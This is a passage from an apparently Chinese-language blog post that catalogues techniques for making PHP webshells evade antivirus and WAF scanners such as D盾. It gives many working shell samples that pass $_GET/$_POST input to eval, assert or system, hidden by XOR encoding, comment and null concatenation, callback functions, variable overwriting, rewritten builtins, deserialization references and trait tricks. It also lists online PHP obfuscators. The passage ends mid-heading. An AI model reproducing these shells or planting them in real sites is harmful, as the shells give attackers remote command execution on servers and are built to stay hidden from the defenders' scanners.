class="string">&#x27;foo&#x27;</span>; 让<span class="variable">$a</span>==<span class="variable">$b</span> 来决定最终这个样本是 WebShell 还是普通文件，</span><br><span class="line">我先控制，让<span class="variable">$a</span>==<span class="variable">$b</span> 返回 False，于是，样本检测通过了。但当为 True 时，样本检测变为了查杀</span><br><span class="line">--------------------------------------------</span><br><span class="line">引入多米诺骨牌:</span><br><span class="line">解析是否成功，取决于各种变量.</span><br><span class="line">推动多米诺骨牌可以交给各种环境变量,如 <span class="title function_ invoke__">get_cfg_var</span>(<span class="string">&#x27;error_reporting&#x27;</span>)</span><br><span class="line">    </span><br><span class="line">本地环境是配置这个参数，动态查杀引擎可能没有配置，正是基于这种机制，达到绕过。</span><br><span class="line"></span><br><span class="line">   在 PhpStorm 中输入 get_即可看到更多环境变量   </span><br></pre></td></tr></table></figure>

<p><strong>g. 代码结构与包含</strong></p>
<ol>
<li>try … catch</li>
</ol>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">say</span>(<span class="params"><span class="variable">$name</span></span>)</span>&#123;</span><br><span class="line"><span class="keyword">try</span>&#123;</span><br><span class="line"><span class="variable">$temp</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$name</span>,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$name</span> = <span class="title function_ invoke__">substr</span>(<span class="variable">$name</span>,<span class="number">0</span>,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$name</span>(<span class="variable">$temp</span>);</span><br><span class="line">&#125;<span class="keyword">catch</span> (<span class="built_in">Exception</span> <span class="variable">$e</span>)&#123;</span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="variable">$e</span>);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_ invoke__">say</span>(<span class="variable">$_GET</span>[<span class="number">1</span>]);</span><br></pre></td></tr></table></figure>

<p>​	2.多层嵌套：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">say</span>(<span class="params"><span class="variable">$name</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> &lt; <span class="number">1</span>; <span class="variable">$i</span>++) &#123;</span><br><span class="line"><span class="keyword">foreach</span> ([<span class="number">1</span>] <span class="keyword">as</span> <span class="variable">$v</span>)&#123;</span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line"><span class="title function_ invoke__">assert</span>(<span class="variable">$name</span>);</span><br><span class="line"><span class="keyword">throw</span> <span class="keyword">new</span> <span class="built_in">Exception</span>(<span class="variable">$name</span>);</span><br><span class="line">&#125;<span class="keyword">catch</span> (<span class="built_in">Exception</span> <span class="variable">$exception</span>)&#123;</span><br><span class="line"><span class="title function_ invoke__">assert</span>(<span class="variable">$exception</span>-&gt;<span class="title function_ invoke__">getMessage</span>());</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_ invoke__">say</span>(<span class="variable">$_GET</span>[<span class="number">1</span>]);</span><br></pre></td></tr></table></figure>

<p><strong>h. <code>eval</code> 和<code>assert</code> 的区别</strong></p>
<p>​	<code>php7</code>后，没有<code>assert</code>,且<code>eval</code>无法被拆开,中间加注释等。</p>
<p>​	<code>PHP5</code>中， <code>eval(&#39;$a&#39;)</code>能被识别,变量的值可以被替换。<code>assert(&#39;$a&#39;) </code>不可以。</p>
<p><strong>i.{PHP} 注释混淆,php混淆网站</strong></p>
<p>0.php在线混淆</p>
<figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">https://enphp.djunny.com/</span><br><span class="line">https://www.phpjiami.com/phpjiami.html</span><br><span class="line">http://1.15.155.76/goto.php</span><br></pre></td></tr></table></figure>

<p>1.注释混淆</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">eval</span>(<span class="string">&quot;/*TonyD0g*/&quot;</span>.<span class="variable">$shell</span>.<span class="string">&quot; &quot;</span>);</span><br><span class="line"><span class="keyword">eval</span>(<span class="string">&quot;//\r\n&quot;</span> . <span class="variable">$shell</span>.<span class="string">&quot; &quot;</span> );</span><br><span class="line"><span class="title function_ invoke__">assert</span>(<span class="string">&quot;/*TonyD0g*/&quot;</span> . <span class="variable">$shell</span>);</span><br><span class="line"><span class="title function_ invoke__">assert</span>(<span class="string">&quot;//TonyD0g\r\n&quot;</span> . <span class="variable">$name</span>);</span><br></pre></td></tr></table></figure>

<p>2.<code>null</code>拼接</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$name</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;name&#x27;</span>];</span><br><span class="line"><span class="variable">$name1</span>=<span class="variable">$name2</span>= <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">eval</span>(<span class="variable">$name1</span>.<span class="variable">$name2</span>.<span class="variable">$name</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p>3.<code>&#39;&#39;</code>拼接</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$name</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;name&#x27;</span>];</span><br><span class="line"><span class="variable">$name1</span>=<span class="variable">$name2</span>= <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="keyword">eval</span>(<span class="variable">$name1</span>.<span class="variable">$name2</span>.<span class="variable">$name</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>



<p><strong>j.各种函数</strong></p>
<p>1.回调函数</p>
<figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">call<span class="emphasis">_user_</span>func<span class="emphasis">_array()</span></span><br><span class="line"><span class="emphasis">call_</span>user<span class="emphasis">_func()</span></span><br><span class="line"><span class="emphasis">array_</span>filter()</span><br><span class="line">array<span class="emphasis">_walk()</span></span><br><span class="line"><span class="emphasis">array_</span>map()</span><br><span class="line">registregister<span class="emphasis">_shutdown_</span>function()</span><br><span class="line">register<span class="emphasis">_tick_</span>function()</span><br><span class="line">filter<span class="emphasis">_var()</span></span><br><span class="line"><span class="emphasis">filter_</span>var<span class="emphasis">_array()</span></span><br><span class="line"><span class="emphasis">uasort()</span></span><br><span class="line"><span class="emphasis">uksort()</span></span><br><span class="line"><span class="emphasis">array_</span>reduce()</span><br><span class="line">array<span class="emphasis">_walk()</span></span><br><span class="line"><span class="emphasis">array_</span>walk<span class="emphasis">_recursive()</span></span><br><span class="line"><span class="emphasis">array_</span>uintersect<span class="emphasis">_uassoc()</span></span><br><span class="line"><span class="emphasis">array_</span>uintersect<span class="emphasis">_assoc()</span></span><br></pre></td></tr></table></figure>



<p>2.字符串变形</p>
<figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">ucwords() // 函数把字符串中每个单词的首字符转换为大写。</span><br><span class="line">ucfirst() // 函数把字符串中的首字符转换为大写。</span><br><span class="line">trim() // 函数从字符串的两端删除空白字符和其他预定义字符。</span><br><span class="line">substr<span class="emphasis">_replace() // 函数把字符串的一部分替换为另一个字符串</span></span><br><span class="line"><span class="emphasis">substr() // 函数返回字符串的一部分。</span></span><br><span class="line"><span class="emphasis">strtr() // 函数转换字符串中特定的字符。</span></span><br><span class="line"><span class="emphasis">strtoupper() // 函数把字符串转换为大写。</span></span><br><span class="line"><span class="emphasis">strtolower() // 函数把字符串转换为小写。</span></span><br><span class="line"><span class="emphasis">strtok() // 函数把字符串分割为更小的字符串</span></span><br><span class="line"><span class="emphasis">str_</span>rot13() // 函数对字符串执行 ROT13 编码。</span><br></pre></td></tr></table></figure>

<p>3.变量覆盖</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># extract 变量覆盖过 D 盾</span></span><br><span class="line"><span class="meta">&lt;?php</span> <span class="variable">$a</span>=<span class="number">1</span>;<span class="variable">$b</span>=<span class="variable">$_POST</span>;<span class="title function_ invoke__">extract</span>(<span class="variable">$b</span>);<span class="title function_ invoke__">print_r</span>(`<span class="variable">$a</span>`)<span class="meta">?&gt;</span></span><br><span class="line">    </span><br><span class="line"><span class="comment"># parse_str 变量覆盖过 D 盾</span></span><br><span class="line"><span class="meta">&lt;?php</span> <span class="variable">$a</span>=<span class="number">1</span>;<span class="variable">$b</span>=<span class="string">&quot;a=&quot;</span>.<span class="variable">$_GET</span>[<span class="string">&#x27;a&#x27;</span>];<span class="title function_ invoke__">parse_str</span>(<span class="variable">$b</span>);<span class="title function_ invoke__">print_r</span>(`<span class="variable">$a</span>`)<span class="meta">?&gt;</span></span><br><span class="line">    </span><br><span class="line">    </span><br></pre></td></tr></table></figure>







<p><strong>k.PHP高低版本差异免杀</strong></p>
<p>1.利用在高版本 php 语法不换行来执行命令</p>
<p><code>7.3.4</code>成功执行	(5.2 ,5.3 , 5.4,版本报错)</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?=</span></span><br><span class="line"><span class="variable">$a</span>=<span class="string">&lt;&lt;&lt; aa</span></span><br><span class="line"><span class="string">assasssasssasssasssasssasssasssasssasssasssassss</span></span><br><span class="line"><span class="string">aa</span>;<span class="keyword">echo</span> `whoami`</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p>2.利用 <code>\</code> 特殊符号来引起报错</p>
<p><code>5.2</code>成功	(5.3, 7.3,失败)</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">\<span class="keyword">echo</span> `whoami`;<span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p>3.十六进制字符串</p>
<p><code>5.3</code>成功	(7.3, 5.2 失败)</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$s</span>=<span class="title function_ invoke__">substr</span>(<span class="string">&quot;aabbccsystem&quot;</span>,<span class="string">&quot;0x6&quot;</span>);</span><br><span class="line"><span class="variable">$s</span>(whoami)</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p>4.<code>PHP 7.0</code>版本的<code>??</code>特性</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$a</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;function&#x27;</span>] ?? <span class="string">&#x27;whoami&#x27;</span>;</span><br><span class="line"><span class="variable">$b</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;cmd&#x27;</span>] ?? <span class="string">&#x27;whoami&#x27;</span>;</span><br><span class="line"><span class="variable">$a</span>(<span class="literal">null</span>.(<span class="literal">null</span>.<span class="variable">$b</span>));</span><br></pre></td></tr></table></figure>

<p><strong>L. 数组</strong></p>
<p>1.单维数组</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$a</span> = <span class="title function_ invoke__">substr_replace</span>(<span class="string">&quot;assexx&quot;</span>,<span class="string">&quot;rt&quot;</span>,<span class="number">4</span>);</span><br><span class="line"><span class="variable">$b</span>=[<span class="string">&#x27;&#x27;</span>=&gt;<span class="variable">$a</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;q&#x27;</span>])];</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p>2.多维数组</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$b</span> = <span class="title function_ invoke__">substr_replace</span>(<span class="string">&quot;assexx&quot;</span>,<span class="string">&quot;rt&quot;</span>,<span class="number">4</span>);</span><br><span class="line"><span class="variable">$a</span> = <span class="keyword">array</span>(<span class="variable">$arrayName</span> = <span class="keyword">array</span>(<span class="string">&#x27;a&#x27;</span> =&gt; <span class="variable">$b</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;q&#x27;</span>])));</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p><strong>M. 无字符特征</strong></p>
<p>1.利用异或 , 编码等方式</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$_</span>=(<span class="string">&#x27;%01&#x27;</span>^<span class="string">&#x27;`&#x27;</span>).(<span class="string">&#x27;%13&#x27;</span>^<span class="string">&#x27;`&#x27;</span>).(<span class="string">&#x27;%13&#x27;</span>^<span class="string">&#x27;`&#x27;</span>).(<span class="string">&#x27;%05&#x27;</span>^<span class="string">&#x27;`&#x27;</span>).(<span class="string">&#x27;%12&#x27;</span>^<span class="string">&#x27;`&#x27;</span>).(<span class="string">&#x27;%14&#x27;</span>^<span class="string">&#x27;`&#x27;</span>); <span class="comment">// $_=&#x27;assert&#x27;;</span></span><br><span class="line"><span class="variable">$__</span>=<span class="string">&#x27;_&#x27;</span>.(<span class="string">&#x27;%0D&#x27;</span>^<span class="string">&#x27;]&#x27;</span>).(<span class="string">&#x27;%2F&#x27;</span>^<span class="string">&#x27;`&#x27;</span>).(<span class="string">&#x27;%0E&#x27;</span>^<span class="string">&#x27;]&#x27;</span>).(<span class="string">&#x27;%09&#x27;</span>^<span class="string">&#x27;]&#x27;</span>); <span class="comment">// $__=&#x27;_POST&#x27;;</span></span><br><span class="line"><span class="variable">$___</span>=<span class="variable">$$__</span>;</span><br><span class="line"><span class="variable">$_</span>(<span class="variable">$___</span>[_]); <span class="comment">// assert($_POST[_]);</span></span><br></pre></td></tr></table></figure>

<p>2.利用正则匹配字符 如 Tab 等 然后转换为字符</p>
<p><strong>O. 函数重写</strong></p>
<p>php自带的函数早已被杀烂了，所以重写函数可能是最好的方法。</p>
<p>如重写 <code>substr</code>：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$b</span> = <span class="string">&#x27;assert(xyz@&#x27;</span>;</span><br><span class="line"><span class="variable">$c</span> = <span class="title function_ invoke__">mysubstr</span>(<span class="variable">$b</span>,<span class="number">0</span>,<span class="number">6</span>);</span><br><span class="line"><span class="variable">$c</span>(<span class="variable">$_POST</span>[<span class="string">&#x27;zero&#x27;</span>]);</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">mysubstr</span>(<span class="params"><span class="variable">$string</span>, <span class="variable">$start</span> = <span class="number">0</span>, <span class="variable">$length</span> = <span class="literal">null</span></span>) </span>&#123;</span><br><span class="line"><span class="variable">$result</span> = <span class="string">&#x27;&#x27;</span>;</span><br><span class="line"><span class="variable">$strLength</span> = <span class="title function_ invoke__">strlen</span>(<span class="variable">$string</span>);</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$length</span> === <span class="literal">null</span>) &#123;</span><br><span class="line"><span class="variable">$length</span> = <span class="variable">$strLength</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$length</span> = (<span class="keyword">int</span>) <span class="variable">$length</span>;</span><br><span class="line"><span class="variable">$start</span> = <span class="variable">$start</span> &lt; <span class="number">0</span> ? (<span class="variable">$strLength</span> + <span class="variable">$start</span>) : (<span class="variable">$start</span>);</span><br><span class="line"><span class="variable">$end</span> = <span class="variable">$length</span> &lt; <span class="number">0</span> ? (<span class="variable">$strLength</span> + <span class="variable">$length</span>) : <span class="variable">$start</span> + <span class="variable">$length</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="variable">$start</span> &gt; <span class="variable">$strLength</span> || (<span class="variable">$end</span> - <span class="variable">$start</span>) === <span class="number">0</span>) &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="variable">$result</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">for</span> (; <span class="variable">$start</span> &lt; <span class="variable">$end</span>; <span class="variable">$start</span> ++) &#123;</span><br><span class="line"><span class="variable">$result</span> .= <span class="variable">$string</span>[<span class="variable">$start</span>];</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="variable">$result</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p><strong>P. 反序列化引用</strong></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$s</span>=</span><br><span class="line"><span class="title function_ invoke__">unserialize</span>(<span class="string">&#x27;a:2:&#123;i:0;O:8:&quot;stdClass&quot;:1:&#123;s:1:&quot;a&quot;;i:1;&#125;i:1;r:2;&#125;&#x27;</span>);</span><br><span class="line"><span class="variable">$c</span> = <span class="string">&quot;123&quot;</span>;</span><br><span class="line"><span class="variable">$arr</span>= <span class="title function_ invoke__">get_declared_classes</span>();</span><br><span class="line"><span class="variable">$i</span>=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>(<span class="variable">$i</span>;<span class="variable">$i</span>&lt;<span class="title function_ invoke__">count</span>(<span class="variable">$arr</span>);<span class="variable">$i</span>++)&#123;</span><br><span class="line"><span class="variable">$i</span>++;</span><br><span class="line"><span class="variable">$s</span>[<span class="number">1</span>]-&gt;a=<span class="variable">$_GET</span>[<span class="string">&#x27;a&#x27;</span>];</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$i</span>&lt;<span class="number">97</span> || <span class="variable">$i</span>&gt;=<span class="number">98</span>)&#123;</span><br><span class="line"><span class="keyword">continue</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$c</span>=<span class="variable">$s</span>[<span class="number">0</span>]-&gt;a;</span><br><span class="line"> <span class="keyword">print</span>(<span class="title function_ invoke__">substr</span>(<span class="title function_ invoke__">get_declared_classes</span>()[<span class="number">72</span>],<span class="number">4</span>,<span class="number">6</span>)(<span class="variable">$c</span>));</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line">    </span><br><span class="line">通过反序列化，将数组<span class="variable">$s</span>[<span class="number">0</span>] <span class="variable">$s</span>[<span class="number">1</span>]两个元素绑定在一起，干扰了引擎动态污点跟踪。如</span><br><span class="line">果结合那道题，可以将 <span class="built_in">stdClass</span> 的对象中两个成员变量绑定在一起，更加具有迷惑性。</span><br></pre></td></tr></table></figure>

<p><strong>Q. trait</strong></p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">trait</span> <span class="title">system</span></span>&#123;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$a</span>= <span class="keyword">new</span> <span class="title class_">JsonException</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;a&#x27;</span>]);</span><br><span class="line"><span class="variable">$c</span> = <span class="string">&quot;123&quot;</span>;</span><br><span class="line"><span class="variable">$arr</span>= <span class="title function_ invoke__">getmygid</span>();</span><br><span class="line"><span class="variable">$i</span>=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span>(<span class="variable">$i</span>;<span class="variable">$i</span>&lt;<span class="variable">$arr</span>;<span class="variable">$i</span>++)&#123;</span><br><span class="line"><span class="variable">$i</span>++;</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$i</span>&lt;<span class="number">115</span> || <span class="variable">$i</span>&gt;=<span class="number">116</span>)&#123;</span><br><span class="line"><span class="keyword">continue</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$c</span>=<span class="variable">$a</span>-&gt;<span class="title function_ invoke__">getMessage</span>();</span><br><span class="line"><span class="keyword">print</span>(<span class="title function_ invoke__">get_declared_traits</span>()[<span class="number">0</span>](<span class="variable">$c</span>));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>get_declared_traits 将会获取到系统中已定义的 trait，因此获取到的函数名称为<br><code>system</code>，而 <code>JsonException -&gt;getMessage() </code>能够将已储存的 Message 信息显示出来，<br>这里我如此初始化：<code> $a= new JsonException($_GET[&#39;a&#39;]);</code> 于是，分别从危险函数和<br>用户传参两个路径来狙击动态跟踪，发生了新的绕过。</p>
<p>除了 <code>JsonException</code> 以外，我发现引擎对内置接口的 getMessage 普遍不敏感，这样的内置类大致（未严格测试，其中可能会有些类不支持 getMessage 方法）如下：</p>
<figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">Error</span><br><span class="line"><span class="code">    ArithmeticError</span></span><br><span class="line"><span class="code">    DivisionByZeroError</span></span><br><span class="line"><span class="code">    AssertionError</span></span><br><span class="line"><span class="code">    ParseError</span></span><br><span class="line"><span class="code">    TypeError</span></span><br><span class="line"><span class="code">    ArgumentCountError</span></span><br><span class="line"><span class="code">Exception</span></span><br><span class="line"><span class="code">    ClosedGeneratorException</span></span><br><span class="line"><span class="code">    DOMException</span></span><br><span class="line"><span class="code">    ErrorException</span></span><br><span class="line"><span class="code">    IntlException</span></span><br><span class="line"><span class="code">    LogicException</span></span><br><span class="line"><span class="code">    BadFunctionCallException</span></span><br><span class="line"><span class="code">    BadMethodCallException</span></span><br><span class="line"><span class="code">    DomainException</span></span><br><span class="line"><span class="code">    InvalidArgumentException</span></span><br><span class="line"><span class="code">    LengthException</span></span><br><span class="line"><span class="code">    OutOfRangeException</span></span><br><span class="line"><span class="code">    PharException</span></span><br><span class="line"><span class="code">    ReflectionException</span></span><br><span class="line"><span class="code">    RuntimeException</span></span><br><span class="line"><span class="code">    OutOfBoundsException</span></span><br><span class="line"><span class="code">    OverflowException</span></span><br><span class="line"><span class="code">    PDOException</span></span><br><span class="line"><span class="code">    RangeException</span></span><br><span class="line"><span class="code">    UnderflowException</span></span><br><span class="line"><span class="code">    UnexpectedValueException</span></span><br><span class="line"><span class="code">    SodiumException</span></span><br></pre></td></tr></table></figure>

<p><strong>R.Session及Session扩展</strong></p>
<p>不同之处在于引入了 SESSION 变量来干扰 URL 解析</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$b</span> = <span class="string">&quot;111&quot;</span>;</span><br><span class="line"><span class="variable">$c</span> = <span class="string">&quot;222&quot;</span>;</span><br><span class="line"><span class="title function_ invoke__">session_start</span>();</span><br><span class="line"><span class="variable">$_SESSION</span>[<span class="string">&#x27;a&#x27;</span>]=<span class="string">&quot;#&quot;</span>;</span><br><span class="line"><span class="variable">$a</span> = <span class="keyword">array</span>( <span class="string">&quot;one&quot;</span>=&gt;<span class="variable">$c</span>,<span class="string">&quot;two&quot;</span>=&gt;&amp;<span class="variable">$c</span> );</span><br><span class="line"><span class="variable">$url</span> = <span class="string">&quot;http://a/usr/&quot;</span>.<span class="variable">$_SESSION</span>[<span class="string">&#x27;a&#x27;</span>].<span class="string">&quot;?a=1&quot;</span>;</span><br><span class="line"><span class="variable">$d</span> =<span class="title function_ invoke__">parse_url</span>(<span class="variable">$url</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$d</span>[<span class="string">&#x27;query&#x27;</span>])&#123;</span><br><span class="line"><span class="variable">$c</span>=<span class="string">&quot;echo 111;&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line"><span class="variable">$c</span>=<span class="variable">$_FILES</span>[<span class="string">&#x27;useraccount&#x27;</span>][<span class="string">&#x27;name&#x27;</span>];</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="variable">$a</span>[<span class="string">&quot;two&quot;</span>]);</span><br><span class="line"><span class="keyword">eval</span>(<span class="variable">$a</span>[<span class="string">&quot;two&quot;</span>]);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p>更高级的写法:</p>
